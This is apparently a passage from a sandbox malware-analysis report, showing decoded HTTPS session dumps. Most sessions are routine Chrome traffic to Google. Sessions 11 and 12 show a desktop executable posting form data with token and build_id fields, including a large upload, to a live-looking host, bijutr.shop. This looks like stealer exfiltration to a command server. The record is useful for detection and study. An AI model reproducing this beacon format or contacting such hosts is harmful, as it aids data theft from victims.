112f1pKWnJxdTVQYkRYREVDcDNzTWNUN3o3WDlzZXorWTljUzl4dlVhRVhaaSttVVV6cWtrR3B3dTBrVjlMZkx2MjU0SytqWmJsOERTcEhFa1ZybHlCeDVnODc0aE9ocDZvc2hDdmJaN2ZvUnpHQTJlWjlSVDFMVU00aFJnakdwMXkrcTdhU0VVRDNqZjF1d1hmcGdsUTJOaUVsaWdxcmFKeEFIaXVzb3N4cVJkWW04ZytZaVNPTFh0c2RJTz
2024-12-27 07:20:20 UTC	1390	IN	Data Raw: 5a 53 51 56 64 4a 51 6a 42 70 53 57 6c 42 5a 45 68 34 4f 47 74 4c 52 46 46 7a 53 6b 4e 5a 65 45 70 34 4f 47 5a 4d 56 44 42 30 54 56 52 56 4d 30 39 71 62 7a 5a 4a 65 58 4d 76 55 6b 51 34 4e 46 46 36 55 54 56 50 61 6d 4e 43 51 32 64 76 53 30 52 52 64 30 35 48 5a 7a 68 51 52 32 70 6a 62 45 68 35 56 54 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 69 38 76 51 55 46 43 52 55 6c 42 52 55 46 42 55 55 46 4e 51 6b 6c 6e 51 55 4e 46 55 55 56 45 52 56 46 49 4c 33 68 42 51 57 4e 42 51 55 46 44 51 57 64 4e 51 6b 46 52 51 55 46 42 51 55 46 42 51 55 46 42 51 Data Ascii: ZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBUUFNQklnQUNFUUVERVFIL3hBQWNBQUFDQWdNQkFRQUFBQUFBQUFBQ
2024-12-27 07:20:20 UTC	1390	IN	Data Raw: 4f 54 63 30 59 58 6c 4a 61 32 46 4a 61 55 6c 78 62 32 64 7a 63 58 46 4d 51 6c 4a 68 4d 6a 4e 30 64 47 70 72 59 31 5a 70 53 6e 56 49 63 33 68 76 4d 47 46 4b 59 58 46 7a 63 45 74 70 53 32 31 71 64 55 45 77 63 32 70 53 64 48 4e 76 4e 32 73 72 54 55 46 47 62 58 56 77 53 55 39 4a 57 6d 68 4b 56 6e 64 77 63 48 70 32 54 48 6b 32 63 7a 52 43 56 57 5a 4b 61 47 4a 75 65 47 56 33 64 6a 42 32 61 47 31 4c 55 58 64 43 52 6a 64 49 4d 30 5a 7a 56 54 42 7a 53 56 4e 73 61 46 4e 53 52 6a 46 78 61 55 4a 79 5a 30 68 6b 55 55 78 6d 5a 7a 52 31 57 6d 78 53 55 33 70 7a 52 6c 5a 53 5a 47 31 4b 63 30 46 51 59 7a 52 6e 4f 58 68 4e 56 45 56 33 52 58 68 59 52 6b 4e 46 5a 56 4e 52 4e 33 6c 54 56 7a 46 49 64 30 39 6e 53 47 64 69 4c 32 4e 72 4f 54 68 58 57 54 46 78 4e 6e 46 6c 62 47 64 Data Ascii: OTc0YXlJa2FJaUlxb2dzcXFMQlJhMjN0dGprY1ZpSnVIc3hvMGFKYXFzcEtpS21qdUEwc2pSdHNvN2srTUFGbXVwSU9JWmhKVndwcHp2THk2czRCVWZKaGJueGV3djB2aG1LUXdCRjdIM0ZzVTBzSVNsaFNSRjFxaUJyZ0hkUUxmZzR1WmxSU3pzRlZSZG1Kc0FQYzRnOXhNVEV3RXhYRkNFZVNRN3lTVzFId09nSGdiL2NrOThXWTFxNnFlbGd
2024-12-27 07:20:20 UTC	237	IN	Data Raw: 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a 5b 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 74 79 70 65 22 3a 5b 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 5d 7d 5d 0d 0a Data Ascii: ,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["ENTITY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","ENTITY"]}]
2024-12-27 07:20:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49734	172.217.21.36	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:20 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-27 07:20:20 UTC	1018	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 27 Dec 2024 07:20:20 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-27 07:20:20 UTC	372	IN	Data Raw: 31 37 38 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 178d)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-27 07:20:20 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-27 07:20:20 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-27 07:20:20 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-27 07:20:20 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-27 07:20:20 UTC	105	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 30 30 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 2c 31 30 32 32 37 38 32 30 35 5d 2c 22 69 73 5f 62 61 63 6b 75 70 0d 0a Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700300,3700949,3701384,102278205],"is_backup
2024-12-27 07:20:21 UTC	274	IN	Data Raw: 31 30 62 0d 0a 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 3b 5c 6e 74 72 79 7b 5c 6e 5f 2e 78 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 21 61 2e 6a 29 69 66 28 63 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 66 6f 72 28 76 61 72 20 64 20 6f 66 20 63 29 Data Ascii: 10b_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis;\ntry{\n_.xd\u003dfunction(a,b,c){if(!a.j)if(c instanceof Array)for(var d of c)
2024-12-27 07:20:21 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 64 5c 75 30 30 33 64 28 30 2c 5f 2e 7a 29 28 61 2e 43 2c 61 2c 62 29 3b 63 6f 6e 73 74 20 65 5c 75 30 30 33 64 61 2e 76 2b 63 3b 61 2e 76 2b 2b 3b 62 2e 64 61 74 61 73 65 74 2e 65 71 69 64 5c 75 30 30 33 64 65 3b 61 2e 42 5b 65 5d 5c 75 30 30 33 64 64 3b 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 63 2c 64 2c 21 31 29 3a 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 74 74 61 63 68 45 76 65 6e 74 3f 62 2e 61 74 74 61 63 68 45 76 65 6e 74 28 5c 22 6f 6e 5c 22 2b 63 2c 64 29 3a 61 2e 6f 2e 6c 6f 67 28 45 72 72 6f 72 28 5c 22 42 60 5c 22 2b 62 29 29 7d 7d 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 Data Ascii: 8000d\u003d(0,_.z)(a.C,a,b);const e\u003da.v+c;a.v++;b.dataset.eqid\u003de;a.B[e]\u003dd;b\u0026\u0026b.addEventListener?b.addEventListener(c,d,!1):b\u0026\u0026b.attachEvent?b.attachEvent(\"on\"+c,d):a.o.log(Error(\"B`\"+b))}};\n}catch(e){_._DumpExcept
2024-12-27 07:20:21 UTC	1390	IN	Data Raw: 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6e 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 4b 64 5c 75 30 30 33 64 5b 47 64 28 5c 22 64 61 74 61 5c 22 29 2c 47 64 28 5c 22 68 74 74 70 5c 22 29 2c 47 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 47 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 47 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 46 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 4c 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4c 64 Data Ascii: constructor(a){this.nh\u003da}};_.Kd\u003d[Gd(\"data\"),Gd(\"http\"),Gd(\"https\"),Gd(\"mailto\"),Gd(\"ftp\"),new _.Fd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.Ld\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.Md\u003dnew _.Ld
2024-12-27 07:20:21 UTC	1390	IN	Data Raw: 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 4d 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f Data Ascii: ;return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.$d\u003dfunction(a){var b\u003d_.Ma(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ae\u003dfunction(a,b,c){return _

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49735	172.217.21.36	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:20 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-27 07:20:20 UTC	933	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 27 Dec 2024 07:20:20 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-27 07:20:20 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-27 07:20:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49758	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:24 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----LNOZ5XL6XLN7YUAS2VAS User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 505 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:24 UTC	505	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4c 4e 4f 5a 35 58 4c 36 58 4c 4e 37 59 55 41 53 32 56 41 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 4c 4e 4f 5a 35 58 4c 36 58 4c 4e 37 59 55 41 53 32 56 41 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 4c 4e 4f 5a 35 58 4c 36 58 4c 4e 37 59 55 41 53 32 56 41 53 0d 0a 43 6f 6e 74 Data Ascii: ------LNOZ5XL6XLN7YUAS2VASContent-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------LNOZ5XL6XLN7YUAS2VASContent-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------LNOZ5XL6XLN7YUAS2VASCont
2024-12-27 07:20:25 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:20:25 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49761	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:25 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBASRIWLNYCBIEUAAI5F User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 213453 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:25 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 53 52 49 57 4c 4e 59 43 42 49 45 55 41 41 49 35 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 53 52 49 57 4c 4e 59 43 42 49 45 55 41 41 49 35 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 53 52 49 57 4c 4e 59 43 42 49 45 55 41 41 49 35 46 0d 0a 43 6f 6e 74 Data Ascii: ------CBASRIWLNYCBIEUAAI5FContent-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------CBASRIWLNYCBIEUAAI5FContent-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------CBASRIWLNYCBIEUAAI5FCont
